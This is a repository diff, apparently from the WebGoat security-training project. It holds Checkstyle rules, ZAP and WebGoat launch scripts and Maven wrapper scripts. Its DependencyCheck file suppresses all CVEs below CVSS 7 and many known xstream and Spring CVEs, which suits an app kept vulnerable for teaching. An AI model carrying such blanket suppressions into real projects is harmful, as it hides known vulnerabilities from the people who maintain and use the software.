name="com.puppycrawl.tools.checkstyle.checks.regexp.RegexpSinglelineJavaCheck">
<property name="maximum" value="0"/>
<property name="format"
value="assertThatExceptionOfType\((NullPointerException|IllegalArgumentException|IOException|IllegalStateException)\.class\)"/>
<property name="message"
value="Please use specialized AssertJ assertThat*Exception method."/>
<property name="ignoreComments" value="true"/>
</module>
<module
name="com.puppycrawl.tools.checkstyle.checks.regexp.RegexpSinglelineJavaCheck">
<property name="maximum" value="0"/>
<property name="format"
value="@SneakyThrows"/>
<property name="message"
value="Please use a unchecked exceptions instead of @SneakyThrows gives compiler warnings"/>
<property name="ignoreComments" value="true"/>
</module>
<module name="OuterTypeFilename"/>
<module name="IllegalTokenText">
<property name="tokens" value="STRING_LITERAL, CHAR_LITERAL"/>
<property name="format"
value="\\u00(09|0(a|A)|0(c|C)|0(d|D)|22|27|5(C|c))|\\(0(10|11|12|14|15|42|47)|134)"/>
<property name="message"
value="Consider using special escape sequence instead of octal value or Unicode escaped value."/>
</module>
<module name="AvoidEscapedUnicodeCharacters">
<property name="allowEscapesForControlCharacters" value="true"/>
<property name="allowByTailComment" value="true"/>
<property name="allowNonPrintableEscapes" value="true"/>
</module>
<module name="OneTopLevelClass">
<property name="severity" value="warning"/>
</module>
<module name="NoLineWrap"/>
<module name="EmptyBlock">
<property name="option" value="TEXT"/>
<property name="tokens" value="LITERAL_TRY, LITERAL_FINALLY, LITERAL_IF, LITERAL_ELSE, LITERAL_SWITCH"/>
</module>
<module name="WhitespaceAround">
<property name="allowEmptyConstructors" value="true"/>
<property name="allowEmptyMethods" value="true"/>
<property name="allowEmptyTypes" value="true"/>
<property name="allowEmptyLoops" value="true"/>
<message key="ws.notFollowed"
value="WhitespaceAround: ''{0}'' is not followed by whitespace. Empty blocks may only be represented as '{}' when not part of a multi-block statement (4.1.3)"/>
<message key="ws.notPreceded"
value="WhitespaceAround: ''{0}'' is not preceded with whitespace."/>
</module>
<module name="OneStatementPerLine"/>
<module name="MultipleVariableDeclarations"/>
<module name="ArrayTypeStyle"/>
<module name="MissingSwitchDefault"/>
<module name="FallThrough"/>
<module name="UpperEll"/>
<module name="ModifierOrder"/>
<module name="EmptyLineSeparator">
<property name="allowNoEmptyLineBetweenFields" value="true"/>
</module>
<module name="SeparatorWrap">
<property name="id" value="SeparatorWrapDot"/>
<property name="tokens" value="DOT"/>
<property name="option" value="nl"/>
</module>
<module name="SeparatorWrap">
<property name="id" value="SeparatorWrapComma"/>
<property name="tokens" value="COMMA"/>
<property name="option" value="EOL"/>
</module>
<module name="SeparatorWrap">
<!-- ELLIPSIS is EOL until https://github.com/google/styleguide/issues/258 -->
<property name="id" value="SeparatorWrapEllipsis"/>
<property name="tokens" value="ELLIPSIS"/>
<property name="option" value="EOL"/>
</module>
<module name="SeparatorWrap">
<!-- ARRAY_DECLARATOR is EOL until https://github.com/google/styleguide/issues/259 -->
<property name="id" value="SeparatorWrapArrayDeclarator"/>
<property name="tokens" value="ARRAY_DECLARATOR"/>
<property name="option" value="EOL"/>
</module>
<module name="SeparatorWrap">
<property name="id" value="SeparatorWrapMethodRef"/>
<property name="tokens" value="METHOD_REF"/>
<property name="option" value="nl"/>
</module>
<module name="PackageName">
<property name="format" value="^[a-z]+(\.[a-z_][a-z0-9_]*)*$"/>
<message key="name.invalidPattern"
value="Package name ''{0}'' must match pattern ''{1}''."/>
</module>
<module name="TypeName">
<message key="name.invalidPattern"
value="Type name ''{0}'' must match pattern ''{1}''."/>
</module>
<module name="MemberName">
<property name="format" value="^[a-z][a-z0-9][a-zA-Z0-9]*$"/>
<message key="name.invalidPattern"
value="Member name ''{0}'' must match pattern ''{1}''."/>
</module>
<module name="ParameterName">
<property name="format" value="^[a-z]([a-z0-9][a-zA-Z0-9_]*)?$"/>
<message key="name.invalidPattern"
value="Parameter name ''{0}'' must match pattern ''{1}''."/>
</module>
<module name="CatchParameterName">
<property name="format" value="^[a-z]([a-z0-9][a-zA-Z0-9]*)?$"/>
<message key="name.invalidPattern"
value="Catch parameter name ''{0}'' must match pattern ''{1}''."/>
</module>
<module name="LocalVariableName">
<property name="tokens" value="VARIABLE_DEF"/>
<property name="format" value="^[a-z]([a-z0-9][a-zA-Z0-9]*)?$"/>
<message key="name.invalidPattern"
value="Local variable name ''{0}'' must match pattern ''{1}''."/>
</module>
<module name="ClassTypeParameterName">
<property name="format" value="(^[A-Z][0-9]?)$|([A-Z][a-zA-Z0-9]*[T]$)"/>
<message key="name.invalidPattern"
value="Class type name ''{0}'' must match pattern ''{1}''."/>
</module>
<module name="MethodTypeParameterName">
<property name="format" value="(^[A-Z][0-9]?)$|([A-Z][a-zA-Z0-9]*[T]$)"/>
<message key="name.invalidPattern"
value="Method type name ''{0}'' must match pattern ''{1}''."/>
</module>
<module name="InterfaceTypeParameterName">
<property name="format" value="(^[A-Z][0-9]?)$|([A-Z][a-zA-Z0-9]*[T]$)"/>
<message key="name.invalidPattern"
value="Interface type name ''{0}'' must match pattern ''{1}''."/>
</module>
<module name="NoFinalizer"/>
<module name="GenericWhitespace">
<message key="ws.followed"
value="GenericWhitespace ''{0}'' is followed by whitespace."/>
<message key="ws.preceded"
value="GenericWhitespace ''{0}'' is preceded with whitespace."/>
<message key="ws.illegalFollow"
value="GenericWhitespace ''{0}'' should followed by whitespace."/>
<message key="ws.notPreceded"
value="GenericWhitespace ''{0}'' is not preceded with whitespace."/>
</module>
<module name="AbbreviationAsWordInName">
<property name="ignoreFinal" value="false"/>
<property name="allowedAbbreviationLength" value="4"/>
<property name="severity" value="warning"/>
</module>
<module name="OverloadMethodsDeclarationOrder"/>
<module name="VariableDeclarationUsageDistance"/>
<module name="CustomImportOrder">
<property name="sortImportsInGroupAlphabetically" value="false"/>
<property name="separateLineBetweenGroups" value="true"/>
<property name="customImportOrderRules" value="THIRD_PARTY_PACKAGE###STATIC"/>
</module>
<module name="MethodParamPad"/>
<module name="NoWhitespaceBefore">
<property name="tokens" value="COMMA, SEMI, POST_INC, POST_DEC, DOT, ELLIPSIS, METHOD_REF"/>
<property name="allowLineBreaks" value="true"/>
</module>
<module name="ParenPad"/>
<module name="OperatorWrap">
<property name="option" value="NL"/>
<property name="tokens"
value="BAND, BOR, BSR, BXOR, DIV, EQUAL, GE, GT, LAND, LE, LITERAL_INSTANCEOF, LOR, LT, MINUS, MOD, NOT_EQUAL, PLUS, QUESTION, SL, SR, STAR, METHOD_REF "/>
</module>
<module name="AnnotationLocation">
<property name="id" value="AnnotationLocationMostCases"/>
<property name="tokens" value="CLASS_DEF, INTERFACE_DEF, ENUM_DEF, METHOD_DEF, CTOR_DEF"/>
</module>
<module name="AnnotationLocation">
<property name="id" value="AnnotationLocationVariables"/>
<property name="tokens" value="VARIABLE_DEF"/>
<property name="allowSamelineMultipleAnnotations" value="true"/>
</module>
<module name="NonEmptyAtclauseDescription"/>
<module name="JavadocTagContinuationIndentation"/>
<module name="SummaryJavadoc">
<property name="forbiddenSummaryFragments"
value="^@return the *|^This method returns |^A [{]@code [a-zA-Z0-9]+[}]( is a )"/>
<property name="severity" value="warning"/>
</module>
<module name="JavadocParagraph">
<property name="severity" value="warning"/>
</module>
<module name="AtclauseOrder">
<property name="tagOrder" value="@param, @return, @throws, @deprecated"/>
<property name="target" value="CLASS_DEF, INTERFACE_DEF, ENUM_DEF, METHOD_DEF, CTOR_DEF, VARIABLE_DEF"/>
<property name="severity" value="warning"/>
</module>
<module name="JavadocMethod">
<property name="tokens" value="CLASS_DEF,INTERFACE_DEF,ENUM_DEF,METHOD_DEF,ANNOTATION_FIELD_DEF"/>
<property name="scope" value="public"/>
<property name="allowMissingParamTags" value="true"/>
<property name="allowMissingThrowsTags" value="true"/>
<property name="allowMissingReturnTag" value="true"/>
<property name="minLineCount" value="2"/>
<property name="allowedAnnotations" value="Override, Test"/>
<property name="allowThrowsTagsForSubclasses" value="true"/>
<property name="severity" value="warning"/>
</module>
<module name="MethodName">
<property name="format" value="^[a-z][a-z0-9][a-zA-Z0-9_]*$"/>
<message key="name.invalidPattern"
value="Method name ''{0}'' must match pattern ''{1}''."/>
</module>
<module name="SingleLineJavadoc">
<property name="ignoreInlineTags" value="false"/>
</module>
<module name="EmptyCatchBlock">
<property name="exceptionVariableName" value="expected"/>
</module>
<module name="CommentsIndentation"/>
</module>
</module>

View File

@@ -0,0 +1,11 @@
<?xml version="1.0"?>
<!DOCTYPE suppressions PUBLIC
"-//Checkstyle//DTD SuppressionFilter Configuration 1.2//EN"
"https://checkstyle.org/dtds/suppressions_1_2.dtd">
<suppressions>
<suppress files="MD5.java" checks="[a-zA-Z0-9]*" />
<suppress files="VulnerableComponentsLesson.java" checks="[a-zA-Z0-9]*" />
<suppress files="ContentTypeAssignment.java" checks="IllegalImportCheck" />
<suppress files="SimpleXXE.java" checks="IllegalImportCheck" />
<suppress files="HtmlTamperingTask.java" checks="ParameterName" />
</suppressions>

View File

@@ -0,0 +1,77 @@
<?xml version="1.0" encoding="UTF-8"?>
<suppressions xmlns="https://jeremylong.github.io/DependencyCheck/dependency-suppression.1.3.xsd">
<suppress>
<notes><![CDATA[
This suppresses all CVE entries that have a score below CVSS 7.
]]></notes>
<cvssBelow>7</cvssBelow>
</suppress>
<suppress>
<notes><![CDATA[
file name: spring-tx-5.3.21.jar
]]></notes>
<sha1>13f4f564024d2f85502c151942307c3ca851a4f7</sha1>
<cve>CVE-2016-1000027</cve>
</suppress>
<suppress>
<notes><![CDATA[
file name: spring-core-5.3.21.jar
]]></notes>
<packageUrl regex="true">^pkg:maven/org\.springframework/spring\-core@.*$</packageUrl>
<cve>CVE-2016-1000027</cve>
</suppress>
<suppress>
<notes><![CDATA[
file name: spring-aop-5.3.21.jar
]]></notes>
<packageUrl regex="true">^pkg:maven/org\.springframework/spring\-aop@.*$</packageUrl>
<cve>CVE-2016-1000027</cve>
</suppress>
<suppress>
<notes><![CDATA[
file name: spring-boot-starter-security-2.7.1.jar
]]></notes>
<packageUrl regex="true">^pkg:maven/org\.springframework\.boot/spring\-boot\-starter\-security@.*$</packageUrl>
<cve>CVE-2022-22978</cve>
</suppress>
<suppress>
<notes><![CDATA[
file name: jruby-stdlib-9.2.20.1.jar: jopenssl.jar (shaded: rubygems:jruby-openssl:0.11.0)
]]></notes>
<packageUrl regex="true">^pkg:maven/rubygems/jruby\-openssl@.*$</packageUrl>
<cpe>cpe:/a:jruby:jruby</cpe>
<cpe>cpe:/a:openssl:openssl</cpe>
</suppress>
<suppress>
<notes><![CDATA[
file name: xstream-1.4.5.jar
]]></notes>
<packageUrl regex="true">^pkg:maven/com\.thoughtworks\.xstream/xstream@.*$</packageUrl>
<cpe>cpe:/a:xstream_project:xstream</cpe>
<vulnerabilityName>CVE-2013-7285</vulnerabilityName>
<vulnerabilityName>CVE-2016-3674</vulnerabilityName>
<vulnerabilityName>CVE-2017-7957</vulnerabilityName>
<vulnerabilityName>CVE-2020-26217</vulnerabilityName>
<vulnerabilityName>CVE-2020-26258</vulnerabilityName>
<vulnerabilityName>CVE-2020-26259</vulnerabilityName>
<vulnerabilityName>CVE-2021-21341</vulnerabilityName>
<vulnerabilityName>CVE-2021-21342</vulnerabilityName>
<vulnerabilityName>CVE-2021-21343</vulnerabilityName>
<vulnerabilityName>CVE-2021-21344</vulnerabilityName>
<vulnerabilityName>CVE-2021-21345</vulnerabilityName>
<vulnerabilityName>CVE-2021-21346</vulnerabilityName>
<vulnerabilityName>CVE-2021-21347</vulnerabilityName>
<vulnerabilityName>CVE-2021-21348</vulnerabilityName>
<vulnerabilityName>CVE-2021-21349</vulnerabilityName>
<vulnerabilityName>CVE-2021-21350</vulnerabilityName>
<vulnerabilityName>CVE-2021-21351</vulnerabilityName>
<vulnerabilityName>CVE-2021-43859</vulnerabilityName>
</suppress>
<suppress>
<notes><![CDATA[
file name: spring-jcl-5.3.21.jar
]]></notes>
<packageUrl regex="true">^pkg:maven/org\.springframework/spring\-.*@.*$</packageUrl>
<cve>CVE-2016-1000027</cve>
</suppress>
</suppressions>

View File

@@ -0,0 +1,10 @@
** Welcome to WebGoat desktop image
With this image you have WebGoat and ZAP and a browser available to you in a browser running on Ubuntu.
You can start WebGoat and ZAP by opening a terminal and type:
./start_webgoat.sh
./start_zap.sh
Happy hacking,
Team WebGoat

View File

@@ -0,0 +1,17 @@
#!/bin/sh
/config/java-jdk/bin/java \
-Duser.home=/config \
-Dfile.encoding=UTF-8 \
-DTZ=Europe/Amsterdam \
--add-opens java.base/java.lang=ALL-UNNAMED \
--add-opens java.base/java.util=ALL-UNNAMED \
--add-opens java.base/java.lang.reflect=ALL-UNNAMED \
--add-opens java.base/java.text=ALL-UNNAMED \
--add-opens java.desktop/java.beans=ALL-UNNAMED \
--add-opens java.desktop/java.awt.font=ALL-UNNAMED \
--add-opens java.base/sun.nio.ch=ALL-UNNAMED \
--add-opens java.base/java.io=ALL-UNNAMED \
--add-opens java.base/java.util=ALL-UNNAMED \
-Drunning.in.docker=false \
-jar /config/webgoat.jar

View File

@@ -0,0 +1,3 @@
#!/bin/sh
/config/java-jdk/bin/java -jar /config/ZAP_2.15.0/zap-2.15.0.jar

View File

@@ -0,0 +1,4 @@
/*
* SPDX-FileCopyrightText: Copyright © $today.year WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/

3
docs/README.md Normal file
View File

@@ -0,0 +1,3 @@
# WebGoat landing page
Old GitHub page which now redirects to OWASP website.

BIN
docs/images/webgoat.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 319 KiB

14
docs/index.html Normal file
View File

@@ -0,0 +1,14 @@
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta http-equiv="refresh" content="0;url=https://webgoat.org" />
<link rel="canonical" href="https://webgoat.org" />
</head>
<body>
<h1>
The page been moved to <a href="https://webgoat.org">https://webgoat.org</a>
</h1>
</body>
</html>

2
fake_commit_log.txt Normal file
View File

@@ -0,0 +1,2 @@
Sat May 10 12:27:40 UTC 2025: Commit 1 by Author One
Sat May 10 12:28:00 UTC 2025: Commit 2 by Author Two

View File

@@ -1,2 +1,2 @@
export MAVEN_OPTS="-Xdebug -Xnoagent -Djava.compiler=NONE -Xrunjdwp:transport=dt_socket,server=y,suspend=y,address=8000" export MAVEN_OPTS="-Xdebug -Xnoagent -Djava.compiler=NONE -Xrunjdwp:transport=dt_socket,server=y,suspend=y,address=8000"
mvn $@ ./mvnw $@

310
mvnw vendored Executable file
View File

@@ -0,0 +1,310 @@
#!/bin/sh
# ----------------------------------------------------------------------------
# Licensed to the Apache Software Foundation (ASF) under one
# or more contributor license agreements. See the NOTICE file
# distributed with this work for additional information
# regarding copyright ownership. The ASF licenses this file
# to you under the Apache License, Version 2.0 (the
# "License"); you may not use this file except in compliance
# with the License. You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing,
# software distributed under the License is distributed on an
# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
# KIND, either express or implied. See the License for the
# specific language governing permissions and limitations
# under the License.
# ----------------------------------------------------------------------------
# ----------------------------------------------------------------------------
# Maven2 Start Up Batch script
#
# Required ENV vars:
# ------------------
# JAVA_HOME - location of a JDK home dir
#
# Optional ENV vars
# -----------------
# M2_HOME - location of maven2's installed home dir
# MAVEN_OPTS - parameters passed to the Java VM when running Maven
# e.g. to debug Maven itself, use
# set MAVEN_OPTS=-Xdebug -Xrunjdwp:transport=dt_socket,server=y,suspend=y,address=8000
# MAVEN_SKIP_RC - flag to disable loading of mavenrc files
# ----------------------------------------------------------------------------
if [ -z "$MAVEN_SKIP_RC" ] ; then
if [ -f /etc/mavenrc ] ; then
. /etc/mavenrc
fi
if [ -f "$HOME/.mavenrc" ] ; then
. "$HOME/.mavenrc"
fi
fi
# OS specific support. $var _must_ be set to either true or false.
cygwin=false;
darwin=false;
mingw=false
case "`uname`" in
CYGWIN*) cygwin=true ;;
MINGW*) mingw=true;;
Darwin*) darwin=true
# Use /usr/libexec/java_home if available, otherwise fall back to /Library/Java/Home
# See https://developer.apple.com/library/mac/qa/qa1170/_index.html
if [ -z "$JAVA_HOME" ]; then
if [ -x "/usr/libexec/java_home" ]; then
export JAVA_HOME="`/usr/libexec/java_home`"
else
export JAVA_HOME="/Library/Java/Home"
fi
fi
;;
esac
if [ -z "$JAVA_HOME" ] ; then
if [ -r /etc/gentoo-release ] ; then
JAVA_HOME=`java-config --jre-home`
fi
fi
if [ -z "$M2_HOME" ] ; then
## resolve links - $0 may be a link to maven's home
PRG="$0"
# need this for relative symlinks
while [ -h "$PRG" ] ; do
ls=`ls -ld "$PRG"`
link=`expr "$ls" : '.*-> \(.*\)$'`
if expr "$link" : '/.*' > /dev/null; then
PRG="$link"
else
PRG="`dirname "$PRG"`/$link"
fi
done
saveddir=`pwd`
M2_HOME=`dirname "$PRG"`/..
# make it fully qualified
M2_HOME=`cd "$M2_HOME" && pwd`
cd "$saveddir"
# echo Using m2 at $M2_HOME
fi
# For Cygwin, ensure paths are in UNIX format before anything is touched
if $cygwin ; then
[ -n "$M2_HOME" ] &&
M2_HOME=`cygpath --unix "$M2_HOME"`
[ -n "$JAVA_HOME" ] &&
JAVA_HOME=`cygpath --unix "$JAVA_HOME"`
[ -n "$CLASSPATH" ] &&
CLASSPATH=`cygpath --path --unix "$CLASSPATH"`
fi
# For Mingw, ensure paths are in UNIX format before anything is touched
if $mingw ; then
[ -n "$M2_HOME" ] &&
M2_HOME="`(cd "$M2_HOME"; pwd)`"
[ -n "$JAVA_HOME" ] &&
JAVA_HOME="`(cd "$JAVA_HOME"; pwd)`"
fi
if [ -z "$JAVA_HOME" ]; then
javaExecutable="`which javac`"
if [ -n "$javaExecutable" ] && ! [ "`expr \"$javaExecutable\" : '\([^ ]*\)'`" = "no" ]; then
# readlink(1) is not available as standard on Solaris 10.
readLink=`which readlink`
if [ ! `expr "$readLink" : '\([^ ]*\)'` = "no" ]; then
if $darwin ; then
javaHome="`dirname \"$javaExecutable\"`"
javaExecutable="`cd \"$javaHome\" && pwd -P`/javac"
else
javaExecutable="`readlink -f \"$javaExecutable\"`"
fi
javaHome="`dirname \"$javaExecutable\"`"
javaHome=`expr "$javaHome" : '\(.*\)/bin'`
JAVA_HOME="$javaHome"
export JAVA_HOME
fi
fi
fi
if [ -z "$JAVACMD" ] ; then
if [ -n "$JAVA_HOME" ] ; then
if [ -x "$JAVA_HOME/jre/sh/java" ] ; then
# IBM's JDK on AIX uses strange locations for the executables
JAVACMD="$JAVA_HOME/jre/sh/java"
else
JAVACMD="$JAVA_HOME/bin/java"
fi
else
JAVACMD="`which java`"
fi
fi
if [ ! -x "$JAVACMD" ] ; then
echo "Error: JAVA_HOME is not defined correctly." >&2
echo " We cannot execute $JAVACMD" >&2
exit 1
fi
if [ -z "$JAVA_HOME" ] ; then
echo "Warning: JAVA_HOME environment variable is not set."
fi
CLASSWORLDS_LAUNCHER=org.codehaus.plexus.classworlds.launcher.Launcher
# traverses directory structure from process work directory to filesystem root
# first directory with .mvn subdirectory is considered project base directory
find_maven_basedir() {
if [ -z "$1" ]
then
echo "Path not specified to find_maven_basedir"
return 1
fi
basedir="$1"
wdir="$1"
while [ "$wdir" != '/' ] ; do
if [ -d "$wdir"/.mvn ] ; then
basedir=$wdir
break
fi
# workaround for JBEAP-8937 (on Solaris 10/Sparc)
if [ -d "${wdir}" ]; then
wdir=`cd "$wdir/.."; pwd`
fi
# end of workaround
done
echo "${basedir}"
}
# concatenates all lines of a file
concat_lines() {
if [ -f "$1" ]; then
echo "$(tr -s '\n' ' ' < "$1")"
fi
}
BASE_DIR=`find_maven_basedir "$(pwd)"`
if [ -z "$BASE_DIR" ]; then
exit 1;
fi
##########################################################################################
# Extension to allow automatically downloading the maven-wrapper.jar from Maven-central
# This allows using the maven wrapper in projects that prohibit checking in binary data.
##########################################################################################
if [ -r "$BASE_DIR/.mvn/wrapper/maven-wrapper.jar" ]; then
if [ "$MVNW_VERBOSE" = true ]; then
echo "Found .mvn/wrapper/maven-wrapper.jar"
fi
else
if [ "$MVNW_VERBOSE" = true ]; then
echo "Couldn't find .mvn/wrapper/maven-wrapper.jar, downloading it ..."
fi
if [ -n "$MVNW_REPOURL" ]; then
jarUrl="$MVNW_REPOURL/io/takari/maven-wrapper/0.5.5/maven-wrapper-0.5.5.jar"
else
jarUrl="https://repo.maven.apache.org/maven2/io/takari/maven-wrapper/0.5.5/maven-wrapper-0.5.5.jar"
fi
while IFS="=" read key value; do
case "$key" in (wrapperUrl) jarUrl="$value"; break ;;
esac
done < "$BASE_DIR/.mvn/wrapper/maven-wrapper.properties"
if [ "$MVNW_VERBOSE" = true ]; then
echo "Downloading from: $jarUrl"
fi
wrapperJarPath="$BASE_DIR/.mvn/wrapper/maven-wrapper.jar"
if $cygwin; then
wrapperJarPath=`cygpath --path --windows "$wrapperJarPath"`
fi
if command -v wget > /dev/null; then
if [ "$MVNW_VERBOSE" = true ]; then
echo "Found wget ... using wget"
fi
if [ -z "$MVNW_USERNAME" ] || [ -z "$MVNW_PASSWORD" ]; then
wget "$jarUrl" -O "$wrapperJarPath"
else
wget --http-user=$MVNW_USERNAME --http-password=$MVNW_PASSWORD "$jarUrl" -O "$wrapperJarPath"
fi
elif command -v curl > /dev/null; then
if [ "$MVNW_VERBOSE" = true ]; then
echo "Found curl ... using curl"
fi
if [ -z "$MVNW_USERNAME" ] || [ -z "$MVNW_PASSWORD" ]; then
curl -o "$wrapperJarPath" "$jarUrl" -f
else
curl --user $MVNW_USERNAME:$MVNW_PASSWORD -o "$wrapperJarPath" "$jarUrl" -f
fi
else
if [ "$MVNW_VERBOSE" = true ]; then
echo "Falling back to using Java to download"
fi
javaClass="$BASE_DIR/.mvn/wrapper/MavenWrapperDownloader.java"
# For Cygwin, switch paths to Windows format before running javac
if $cygwin; then
javaClass=`cygpath --path --windows "$javaClass"`
fi
if [ -e "$javaClass" ]; then
if [ ! -e "$BASE_DIR/.mvn/wrapper/MavenWrapperDownloader.class" ]; then
if [ "$MVNW_VERBOSE" = true ]; then
echo " - Compiling MavenWrapperDownloader.java ..."
fi
# Compiling the Java class
("$JAVA_HOME/bin/javac" "$javaClass")
fi
if [ -e "$BASE_DIR/.mvn/wrapper/MavenWrapperDownloader.class" ]; then
# Running the downloader
if [ "$MVNW_VERBOSE" = true ]; then
echo " - Running MavenWrapperDownloader.java ..."
fi
("$JAVA_HOME/bin/java" -cp .mvn/wrapper MavenWrapperDownloader "$MAVEN_PROJECTBASEDIR")
fi
fi
fi
fi
##########################################################################################
# End of extension
##########################################################################################
export MAVEN_PROJECTBASEDIR=${MAVEN_BASEDIR:-"$BASE_DIR"}
if [ "$MVNW_VERBOSE" = true ]; then
echo $MAVEN_PROJECTBASEDIR
fi
MAVEN_OPTS="$(concat_lines "$MAVEN_PROJECTBASEDIR/.mvn/jvm.config") $MAVEN_OPTS"
# For Cygwin, switch paths to Windows format before running java
if $cygwin; then
[ -n "$M2_HOME" ] &&
M2_HOME=`cygpath --path --windows "$M2_HOME"`
[ -n "$JAVA_HOME" ] &&
JAVA_HOME=`cygpath --path --windows "$JAVA_HOME"`
[ -n "$CLASSPATH" ] &&
CLASSPATH=`cygpath --path --windows "$CLASSPATH"`
[ -n "$MAVEN_PROJECTBASEDIR" ] &&
MAVEN_PROJECTBASEDIR=`cygpath --path --windows "$MAVEN_PROJECTBASEDIR"`
fi
# Provide a "standardized" way to retrieve the CLI args that will
# work with both Windows and non-Windows executions.
MAVEN_CMD_LINE_ARGS="$MAVEN_CONFIG $@"
export MAVEN_CMD_LINE_ARGS
WRAPPER_LAUNCHER=org.apache.maven.wrapper.MavenWrapperMain
exec "$JAVACMD" \
$MAVEN_OPTS \
-classpath "$MAVEN_PROJECTBASEDIR/.mvn/wrapper/maven-wrapper.jar" \
"-Dmaven.home=${M2_HOME}" "-Dmaven.multiModuleProjectDirectory=${MAVEN_PROJECTBASEDIR}" \
${WRAPPER_LAUNCHER} $MAVEN_CONFIG "$@"

182
mvnw.cmd vendored Normal file
View File

@@ -0,0 +1,182 @@
@REM ----------------------------------------------------------------------------
@REM Licensed to the Apache Software Foundation (ASF) under one
@REM or more contributor license agreements. See the NOTICE file
@REM distributed with this work for additional information
@REM regarding copyright ownership. The ASF licenses this file
@REM to you under the Apache License, Version 2.0 (the
@REM "License"); you may not use this file except in compliance
@REM with the License. You may obtain a copy of the License at
@REM
@REM http://www.apache.org/licenses/LICENSE-2.0
@REM
@REM Unless required by applicable law or agreed to in writing,
@REM software distributed under the License is distributed on an
@REM "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
@REM KIND, either express or implied. See the License for the
@REM specific language governing permissions and limitations
@REM under the License.
@REM ----------------------------------------------------------------------------
@REM ----------------------------------------------------------------------------
@REM Maven2 Start Up Batch script
@REM
@REM Required ENV vars:
@REM JAVA_HOME - location of a JDK home dir
@REM
@REM Optional ENV vars
@REM M2_HOME - location of maven2's installed home dir
@REM MAVEN_BATCH_ECHO - set to 'on' to enable the echoing of the batch commands
@REM MAVEN_BATCH_PAUSE - set to 'on' to wait for a key stroke before ending
@REM MAVEN_OPTS - parameters passed to the Java VM when running Maven
@REM e.g. to debug Maven itself, use
@REM set MAVEN_OPTS=-Xdebug -Xrunjdwp:transport=dt_socket,server=y,suspend=y,address=8000
@REM MAVEN_SKIP_RC - flag to disable loading of mavenrc files
@REM ----------------------------------------------------------------------------
@REM Begin all REM lines with '@' in case MAVEN_BATCH_ECHO is 'on'
@echo off
@REM set title of command window
title %0
@REM enable echoing by setting MAVEN_BATCH_ECHO to 'on'
@if "%MAVEN_BATCH_ECHO%" == "on" echo %MAVEN_BATCH_ECHO%
@REM set %HOME% to equivalent of $HOME
if "%HOME%" == "" (set "HOME=%HOMEDRIVE%%HOMEPATH%")
@REM Execute a user defined script before this one
if not "%MAVEN_SKIP_RC%" == "" goto skipRcPre
@REM check for pre script, once with legacy .bat ending and once with .cmd ending
if exist "%HOME%\mavenrc_pre.bat" call "%HOME%\mavenrc_pre.bat"
if exist "%HOME%\mavenrc_pre.cmd" call "%HOME%\mavenrc_pre.cmd"
:skipRcPre
@setlocal
set ERROR_CODE=0
@REM To isolate internal variables from possible post scripts, we use another setlocal
@setlocal
@REM ==== START VALIDATION ====
if not "%JAVA_HOME%" == "" goto OkJHome
echo.
echo Error: JAVA_HOME not found in your environment. >&2
echo Please set the JAVA_HOME variable in your environment to match the >&2
echo location of your Java installation. >&2
echo.
goto error
:OkJHome
if exist "%JAVA_HOME%\bin\java.exe" goto init
echo.
echo Error: JAVA_HOME is set to an invalid directory. >&2
echo JAVA_HOME = "%JAVA_HOME%" >&2
echo Please set the JAVA_HOME variable in your environment to match the >&2
echo location of your Java installation. >&2
echo.
goto error
@REM ==== END VALIDATION ====
:init
@REM Find the project base dir, i.e. the directory that contains the folder ".mvn".
@REM Fallback to current working directory if not found.
set MAVEN_PROJECTBASEDIR=%MAVEN_BASEDIR%
IF NOT "%MAVEN_PROJECTBASEDIR%"=="" goto endDetectBaseDir
set EXEC_DIR=%CD%
set WDIR=%EXEC_DIR%
:findBaseDir
IF EXIST "%WDIR%"\.mvn goto baseDirFound
cd ..
IF "%WDIR%"=="%CD%" goto baseDirNotFound
set WDIR=%CD%
goto findBaseDir
:baseDirFound
set MAVEN_PROJECTBASEDIR=%WDIR%
cd "%EXEC_DIR%"
goto endDetectBaseDir
:baseDirNotFound
set MAVEN_PROJECTBASEDIR=%EXEC_DIR%
cd "%EXEC_DIR%"
:endDetectBaseDir
IF NOT EXIST "%MAVEN_PROJECTBASEDIR%\.mvn\jvm.config" goto endReadAdditionalConfig
@setlocal EnableExtensions EnableDelayedExpansion
for /F "usebackq delims=" %%a in ("%MAVEN_PROJECTBASEDIR%\.mvn\jvm.config") do set JVM_CONFIG_MAVEN_PROPS=!JVM_CONFIG_MAVEN_PROPS! %%a
@endlocal & set JVM_CONFIG_MAVEN_PROPS=%JVM_CONFIG_MAVEN_PROPS%
:endReadAdditionalConfig
SET MAVEN_JAVA_EXE="%JAVA_HOME%\bin\java.exe"
set WRAPPER_JAR="%MAVEN_PROJECTBASEDIR%\.mvn\wrapper\maven-wrapper.jar"
set WRAPPER_LAUNCHER=org.apache.maven.wrapper.MavenWrapperMain
set DOWNLOAD_URL="https://repo.maven.apache.org/maven2/io/takari/maven-wrapper/0.5.5/maven-wrapper-0.5.5.jar"
FOR /F "tokens=1,2 delims==" %%A IN ("%MAVEN_PROJECTBASEDIR%\.mvn\wrapper\maven-wrapper.properties") DO (
IF "%%A"=="wrapperUrl" SET DOWNLOAD_URL=%%B
)
@REM Extension to allow automatically downloading the maven-wrapper.jar from Maven-central
@REM This allows using the maven wrapper in projects that prohibit checking in binary data.
if exist %WRAPPER_JAR% (
if "%MVNW_VERBOSE%" == "true" (
echo Found %WRAPPER_JAR%
)
) else (
if not "%MVNW_REPOURL%" == "" (
SET DOWNLOAD_URL="%MVNW_REPOURL%/io/takari/maven-wrapper/0.5.5/maven-wrapper-0.5.5.jar"
)
if "%MVNW_VERBOSE%" == "true" (
echo Couldn't find %WRAPPER_JAR%, downloading it ...
echo Downloading from: %DOWNLOAD_URL%
)
powershell -Command "&{"^
"$webclient = new-object System.Net.WebClient;"^
"if (-not ([string]::IsNullOrEmpty('%MVNW_USERNAME%') -and [string]::IsNullOrEmpty('%MVNW_PASSWORD%'))) {"^
"$webclient.Credentials = new-object System.Net.NetworkCredential('%MVNW_USERNAME%', '%MVNW_PASSWORD%');"^
"}"^
"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; $webclient.DownloadFile('%DOWNLOAD_URL%', '%WRAPPER_JAR%')"^
"}"
